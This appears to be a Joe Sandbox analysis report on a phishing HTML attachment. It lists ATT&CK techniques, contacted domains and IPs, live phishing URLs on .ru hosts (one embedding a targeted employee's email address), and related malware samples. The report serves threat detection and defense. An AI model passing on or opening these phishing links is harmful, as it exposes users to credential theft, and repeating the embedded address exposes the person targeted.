Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://xx3j.t23ngbco3.ru/n46ESpbl/#B#Mm.sieber@schattdecor.de

HTTP Parser: https://xx3j.t23ngbco3.ru/n46ESpbl/#B#Mm.sieber@schattdecor.de

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
FULLPDFPAYRECEIPTCONFIRMATION_attach.htm	0%	Virustotal		Browse
FULLPDFPAYRECEIPTCONFIRMATION_attach.htm	3%	ReversingLabs

Source	Detection	Scanner	Label
file:///C:/Users/user/Desktop/FULLPDFPAYRECEIPTCONFIRMATION_attach.htm	0%	Avira URL Cloud	safe
https://xx3j.t23ngbco3.ru/n46ESpbl/	100%	Avira URL Cloud	phishing
https://torneytough.com/cllascio.php?322d363837343734373037333361326632663538353833333661326537343332333336653637363236333666333332653732373532663665333433363435353337303632366332662d4c45474e76567155476349464152	0%	Avira URL Cloud	safe
https://v3mm.biijvi.ru/machlo!fc4z1vnt	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
code.jquery.com	151.101.66.137	true	false	high
developers.cloudflare.com	104.16.5.189	true	false	high
torneytough.com	104.168.69.110	true	true	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
www.google.com	142.250.185.164	true	false	high
xx3j.t23ngbco3.ru	104.21.14.2	true	true	unknown
v3mm.biijvi.ru	104.21.20.57	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
file:///C:/Users/user/Desktop/FULLPDFPAYRECEIPTCONFIRMATION_attach.htm	true	Avira URL Cloud: safe	unknown
https://xx3j.t23ngbco3.ru/n46ESpbl/	true	Avira URL Cloud: phishing	unknown
https://xx3j.t23ngbco3.ru/n46ESpbl/#home	false		unknown
https://v3mm.biijvi.ru/machlo!fc4z1vnt	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://torneytough.com/cllascio.php?322d363837343734373037333361326632663538353833333661326537343332333336653637363236333666333332653732373532663665333433363435353337303632366332662d4c45474e76567155476349464152	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://developers.cloudflare.com/favicon.png	false		high
https://xx3j.t23ngbco3.ru/n46ESpbl/#B#Mm.sieber@schattdecor.de	true		unknown
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.20.57	v3mm.biijvi.ru	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.16.5.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.130.137	unknown	United States	54113	FASTLYUS	false
142.250.185.164	www.google.com	United States	15169	GOOGLEUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
104.16.6.189	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.14.2	xx3j.t23ngbco3.ru	United States	13335	CLOUDFLARENETUS	true
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.191.206	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.168.69.110	torneytough.com	United States	36352	AS-COLOCROSSINGUS	true
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1630996
Start date and time:	2025-03-06 14:37:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FULLPDFPAYRECEIPTCONFIRMATION_attach.htm
Detection:	MAL
Classification:	mal100.phis.evad.winHTM@30/27@30/15
Cookbook Comments:	Found application associated with file extension: .htm

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.35, 142.250.186.174, 66.102.1.84, 142.250.186.78, 172.217.18.110, 216.58.206.78, 184.30.131.245, 142.250.186.74, 142.250.74.202, 142.250.186.106, 142.250.181.234, 142.250.186.42, 142.250.186.138, 142.250.185.138, 142.250.185.202, 142.250.185.106, 216.58.212.138, 216.58.206.42, 142.250.185.234, 172.217.16.202, 142.250.185.74, 142.250.185.170, 172.217.18.10, 88.221.110.121, 142.250.185.110, 142.250.184.202, 216.58.212.142, 142.250.185.67, 142.250.184.206, 142.250.81.238, 74.125.155.41, 142.250.185.131, 142.250.181.238, 23.199.214.10, 52.149.20.212, 13.107.253.72
Excluded domains from analysis (whitelisted): clients1.google.com, r4---sn-p5qlsnrl.gvt1.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, r4.sn-p5qlsnrl.gvt1.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.20.57	Soj9HaoYys.exe	Get hash	malicious	Lokibot	Browse	smloki.xyz/cs/u/UUs.php
	AnsiCharMarshal_v0.0.0.0.exe	Get hash	malicious	Lokibot	Browse	smloki.xyz/cs/u/UUs.php
	Quotation Request Supply List-RFQ09022022.xlsx	Get hash	malicious	Lokibot	Browse	smloki.xyz/cs/u/UUs.php
	Order 124020222.xlsx	Get hash	malicious	Lokibot	Browse	smloki.xyz/cs/u/cooz.php
	RuOg771oAo.exe	Get hash	malicious	Lokibot	Browse	smloki.xyz/cs/u/fufu.php
104.18.94.41	418AzC410920.svg	Get hash	malicious	HTMLPhisher	Browse
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	https://uvl.abscond3.com/wCsZtEBvccuexasAhEMfLq5DE/	Get hash	malicious	Unknown	Browse
	.deveba=.svg	Get hash	malicious	HTMLPhisher	Browse
	miri.hazan_Wednesday, March 05, 2025.pdf	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	Play__(Mimi.merhi)__Now_AUD__autoresponse_}.svg	Get hash	malicious	HTMLPhisher	Browse
	https://jcmasi.com/jc/s/cn	Get hash	malicious	HTMLPhisher	Browse
	https://www.flipsnack.com/BCCE86BBDC9/settlement/full-view.html	Get hash	malicious	Unknown	Browse
	https://www.google.com/url?q=https%3A%2F%2Finstalatorelectrician.ro%2Fwp-includes%2Fstyle-engine%2Ffont%2F0f0003ed0%2Fssl%2F&sa=D&sntz=1&usg=AOvVaw2EiU1rKskj0XNVcYiFbZPE#?em=sales@spectro-uv.com	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
104.16.5.189	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	miri.hazan_Wednesday, March 05, 2025.pdf	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	https://shared.outlook.inky.com/link?domain=uniqueattestation.com&t=h.eJxVjsESgjAQQ3_F6dmhbCmUcuJXVroKUluERWUc_13LzWMySV7eYp29aA6iZ56WRso1DPeVkJkWRh5iyLp4k44eUhwPYkzRQBzniy2htEUhR5wptOhxGXEj7-PTDcuE3PV701hNYFDVJ6NtrZTL7RnQFAqANFgtwWj4iVzprKxqbSqTQJRA17i1_Uque6WpZLv96p_F6T58vkzDPI8.MEQCIFg5ypqbt4YK0JYR-PloKBuDzDQnhOwv9NMnk8bWqCL-AiAXyhaPfHl8_8J--pKjHt82a42BzYij9hHt4B5C12_IIg	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	https://u1.padletusercontent.com/uploads/padlet-uploads/3491219737/2b368a4a8c3de6ef146e1b5ca28dcf1c/Share_Point_Job.pdf?token=kUv4QPZM_xCPPM7mCAJwOQckUdcPaTXl8JcH_ik0EG6fOlLtGD17RFQ3UfWGFXKpjNWXbm3fV22wRZUwL8VMq771U8Sg0IT70GqvXXwELk2W8o4uQHfeHL67H22qqQiuRnnNXnz4Zp-iKqCKwXqvNRT635EL_fYQeJYkRnrKI_juzey3Hw79gGMOz7bMor1Vs7yfO-lZRNB-5p8AOo5v8SFldS9lnw0I7sVfRz2XwUy23_eoCU3_NZCAOoEF2bZy	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	https://Qa.w1t4b8.com/igW79dbdryFiy3Cf3ynImNsxwM/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	Play_Now.htm	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	https://click.convertkit-mail2.com/5quze56mr8b7hnn29vku6h958z444in/m2h7h5h3kep2o7im/aHR0cHM6Ly93d3cuYmluZy5jb20vY2svYT8lMjEmZmNsaWQ9M2Y4NzI4MDUtZmFmYS02MTNlLTBjMGUtM2Q4Y2ZiZWU2MGM4JmhzaD00JnA9MWYxOWQxNjM2ODY0MjFhMWM0ZGVlNmU5MTNhNzBiMDM5NzU3NzBkNjY3OGNjODVhYWExOTM5OWRkYjk3OTdjM0ptbHRkSE05TVRjME1EQTVOakF3TUEmcHRuPTMmdT1hMWFIUjBjSE02THk5aGJXRnVkMmh2Ym1WbFpHVmtaM0poWTJVdVkyOXRMMkZpYjNWMEx3JnZlcj0yI2FIUjBjSE02THk4NVJ5NXliSEZ3YjI1aGQybDFlUzV5ZFM5MVNuTmxWMGN2Lz9xcmM9	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	http://imagekit.io/public/share/jedyb8c6o/3d23bf1bd85df6054e8a36ee022113464d68972afd38ce381e64fdf1933d3f92b711d4946c66a4059145e4bf1ff2ccffc63e817dd4e19d81d6140278ab6c7b542101c8bd792e064f02c249b7b97286a6	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	Brother_MSG-voice04-45.html	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	Re_ 23-005 Mosquito Control - Stonhard Subcontractor SOV request; PRN011991.eml	Get hash	malicious	Invisible JS	Browse
151.101.130.137	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://imaps-support.us/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://m.exactag.com/ai.aspx?tc=d9912543bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253AING.shalominternationalministry.com/index.xml%23?email=amFtZXMubGVhZGJlYXRlckBsb2dpY2FsaXMuY29t	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://site9613885.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdnjs.cloudflare.com	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.17.24.14
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.17.25.14
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.17.24.14
	https://uvl.abscond3.com/wCsZtEBvccuexasAhEMfLq5DE/	Get hash	malicious	Unknown	Browse	104.17.25.14
	edinburghchamberPay-Advice#03042025.xlsb	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://www.creditsafe.com/us/en.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	Latsco com_DocuSign_399333177498313234326931502391571054649119654915079225oZtxEvcddgRXCDTmTgDN.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	Korea Customs Document.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	miri.hazan_Wednesday, March 05, 2025.pdf	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.17.24.14
	http://www.regardsecurite.com	Get hash	malicious	Unknown	Browse	104.17.25.14
developers.cloudflare.com	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.6.189
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.2.189
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.5.189
	https://uvl.abscond3.com/wCsZtEBvccuexasAhEMfLq5DE/	Get hash	malicious	Unknown	Browse	104.16.3.189
	miri.hazan_Wednesday, March 05, 2025.pdf	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.5.189
	https://nbhg-v.iuksdfb-f.shop/ajax.mp3	Get hash	malicious	Unknown	Browse	104.16.2.189
	https://shared.outlook.inky.com/link?domain=uniqueattestation.com&t=h.eJxVjsESgjAQQ3_F6dmhbCmUcuJXVroKUluERWUc_13LzWMySV7eYp29aA6iZ56WRso1DPeVkJkWRh5iyLp4k44eUhwPYkzRQBzniy2htEUhR5wptOhxGXEj7-PTDcuE3PV701hNYFDVJ6NtrZTL7RnQFAqANFgtwWj4iVzprKxqbSqTQJRA17i1_Uque6WpZLv96p_F6T58vkzDPI8.MEQCIFg5ypqbt4YK0JYR-PloKBuDzDQnhOwv9NMnk8bWqCL-AiAXyhaPfHl8_8J--pKjHt82a42BzYij9hHt4B5C12_IIg	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.2.189
	https://zcmp-semi.maillist-manage.jp/click/11ed2c6aa12961b/11ed2c6aa129eb7	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.2.189
	https://www.google.com/url?q=https%3A%2F%2Finstalatorelectrician.ro%2Fwp-includes%2Fstyle-engine%2Ffont%2F0f0003ed0%2Fssl%2F&sa=D&sntz=1&usg=AOvVaw2EiU1rKskj0XNVcYiFbZPE#?em=sales@spectro-uv.com	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.6.189
	https://u1.padletusercontent.com/uploads/padlet-uploads/3491219737/2b368a4a8c3de6ef146e1b5ca28dcf1c/Share_Point_Job.pdf?token=kUv4QPZM_xCPPM7mCAJwOQckUdcPaTXl8JcH_ik0EG6fOlLtGD17RFQ3UfWGFXKpjNWXbm3fV22wRZUwL8VMq771U8Sg0IT70GqvXXwELk2W8o4uQHfeHL67H22qqQiuRnnNXnz4Zp-iKqCKwXqvNRT635EL_fYQeJYkRnrKI_juzey3Hw79gGMOz7bMor1Vs7yfO-lZRNB-5p8AOo5v8SFldS9lnw0I7sVfRz2XwUy23_eoCU3_NZCAOoEF2bZy	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.6.189
challenges.cloudflare.com	418AzC410920.svg	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.18.95.41
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.18.94.41
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.18.95.41
	https://uvl.abscond3.com/wCsZtEBvccuexasAhEMfLq5DE/	Get hash	malicious	Unknown	Browse	104.18.94.41
	.deveba=.svg	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	miri.hazan_Wednesday, March 05, 2025.pdf	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.18.94.41
	Play__(Mimi.merhi)__Now_AUD__autoresponse_}.svg	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://shared.outlook.inky.com/link?domain=uniqueattestation.com&t=h.eJxVjsESgjAQQ3_F6dmhbCmUcuJXVroKUluERWUc_13LzWMySV7eYp29aA6iZ56WRso1DPeVkJkWRh5iyLp4k44eUhwPYkzRQBzniy2htEUhR5wptOhxGXEj7-PTDcuE3PV701hNYFDVJ6NtrZTL7RnQFAqANFgtwWj4iVzprKxqbSqTQJRA17i1_Uque6WpZLv96p_F6T58vkzDPI8.MEQCIFg5ypqbt4YK0JYR-PloKBuDzDQnhOwv9NMnk8bWqCL-AiAXyhaPfHl8_8J--pKjHt82a42BzYij9hHt4B5C12_IIg	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.18.95.41
	https://zcmp-semi.maillist-manage.jp/click/11ed2c6aa12961b/11ed2c6aa129eb7	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.18.95.41
code.jquery.com	418AzC410920.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.194.137
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.2.137
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.2.137
	https://uvl.abscond3.com/wCsZtEBvccuexasAhEMfLq5DE/	Get hash	malicious	Unknown	Browse	151.101.2.137
	.deveba=.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	miri.hazan_Wednesday, March 05, 2025.pdf	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.194.137
	Play__(Mimi.merhi)__Now_AUD__autoresponse_}.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://shared.outlook.inky.com/link?domain=uniqueattestation.com&t=h.eJxVjsESgjAQQ3_F6dmhbCmUcuJXVroKUluERWUc_13LzWMySV7eYp29aA6iZ56WRso1DPeVkJkWRh5iyLp4k44eUhwPYkzRQBzniy2htEUhR5wptOhxGXEj7-PTDcuE3PV701hNYFDVJ6NtrZTL7RnQFAqANFgtwWj4iVzprKxqbSqTQJRA17i1_Uque6WpZLv96p_F6T58vkzDPI8.MEQCIFg5ypqbt4YK0JYR-PloKBuDzDQnhOwv9NMnk8bWqCL-AiAXyhaPfHl8_8J--pKjHt82a42BzYij9hHt4B5C12_IIg	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.130.137
	https://zcmp-semi.maillist-manage.jp/click/11ed2c6aa12961b/11ed2c6aa129eb7	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.194.137
torneytough.com	https://ad.doubleclick.net/clk;265186560;90846275;t;pc=%5BTPAS_ID%5D?//torneytough.com/oxygen/elect/asdf/fsp@mycoastlifecu.com&d=DwMFAQ	Get hash	malicious	HTMLPhisher	Browse	162.241.120.242

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	ATTACH - kotak.com.htm	Get hash	malicious	Unknown	Browse	172.64.41.3
	05 BOIRON F 240700457 ORDEN 05 MAR 2025.xls	Get hash	malicious	Unknown	Browse	104.26.0.139
	418AzC410920.svg	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	payload1dec.bin.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.17.25.14
	Overdue invoice PDF.exe	Get hash	malicious	FormBook	Browse	104.21.87.16
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.2.189
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.21.96.1
	rDoubleheartedness.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.64.1
	https://fp-1337510260.cos.ap-hongkong.myqcloud.com/dz/dzfp.zip	Get hash	malicious	Unknown	Browse	1.1.1.1
CLOUDFLARENETUS	ATTACH - kotak.com.htm	Get hash	malicious	Unknown	Browse	172.64.41.3
	05 BOIRON F 240700457 ORDEN 05 MAR 2025.xls	Get hash	malicious	Unknown	Browse	104.26.0.139
	418AzC410920.svg	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	payload1dec.bin.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.17.25.14
	Overdue invoice PDF.exe	Get hash	malicious	FormBook	Browse	104.21.87.16
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.2.189
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.21.96.1
	rDoubleheartedness.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.64.1
	https://fp-1337510260.cos.ap-hongkong.myqcloud.com/dz/dzfp.zip	Get hash	malicious	Unknown	Browse	1.1.1.1
FASTLYUS	418AzC410920.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.194.137
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.2.137
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	185.199.108.133
	https://uvl.abscond3.com/wCsZtEBvccuexasAhEMfLq5DE/	Get hash	malicious	Unknown	Browse	151.101.2.137
	AvayaWorkplaceMacOS-3.38.0.147.18.dmg	Get hash	malicious	Unknown	Browse	151.101.67.6
	OPwuNqXuHv.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	https://266210.myarive.com/app/loans/13635620/documents	Get hash	malicious	Unknown	Browse	151.101.66.217
	https://266210.myarive.com/app/loans/13635620/documents	Get hash	malicious	Unknown	Browse	151.101.66.217
	yjYJ8QncaF.exe	Get hash	malicious	Fallen Miner, Xmrig	Browse	185.199.111.133
CLOUDFLARENETUS	ATTACH - kotak.com.htm	Get hash	malicious	Unknown	Browse	172.64.41.3
	05 BOIRON F 240700457 ORDEN 05 MAR 2025.xls	Get hash	malicious	Unknown	Browse	104.26.0.139
	418AzC410920.svg	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	payload1dec.bin.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.17.25.14
	Overdue invoice PDF.exe	Get hash	malicious	FormBook	Browse	104.21.87.16
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.2.189
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.21.96.1
	rDoubleheartedness.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.64.1
	https://fp-1337510260.cos.ap-hongkong.myqcloud.com/dz/dzfp.zip	Get hash	malicious	Unknown	Browse	1.1.1.1
CLOUDFLARENETUS	ATTACH - kotak.com.htm	Get hash	malicious	Unknown	Browse	172.64.41.3
	05 BOIRON F 240700457 ORDEN 05 MAR 2025.xls	Get hash	malicious	Unknown	Browse	104.26.0.139
	418AzC410920.svg	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	payload1dec.bin.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.17.25.14
	Overdue invoice PDF.exe	Get hash	malicious	FormBook	Browse	104.21.87.16
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.16.2.189
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	104.21.96.1
	rDoubleheartedness.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.64.1
	https://fp-1337510260.cos.ap-hongkong.myqcloud.com/dz/dzfp.zip	Get hash	malicious	Unknown	Browse	1.1.1.1
FASTLYUS	418AzC410920.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.194.137
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	151.101.2.137
	https://e4.axshddjc.ru/4k46sET/	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	185.199.108.133
	https://uvl.abscond3.com/wCsZtEBvccuexasAhEMfLq5DE/	Get hash	malicious	Unknown	Browse	151.101.2.137
	AvayaWorkplaceMacOS-3.38.0.147.18.dmg	Get hash	malicious	Unknown	Browse	151.101.67.6
	OPwuNqXuHv.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	https://266210.myarive.com/app/loans/13635620/documents	Get hash	malicious	Unknown	Browse	151.101.66.217
	https://266210.myarive.com/app/loans/13635620/documents	Get hash	malicious	Unknown	Browse	151.101.66.217
	yjYJ8QncaF.exe	Get hash	malicious	Fallen Miner, Xmrig	Browse	185.199.111.133

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
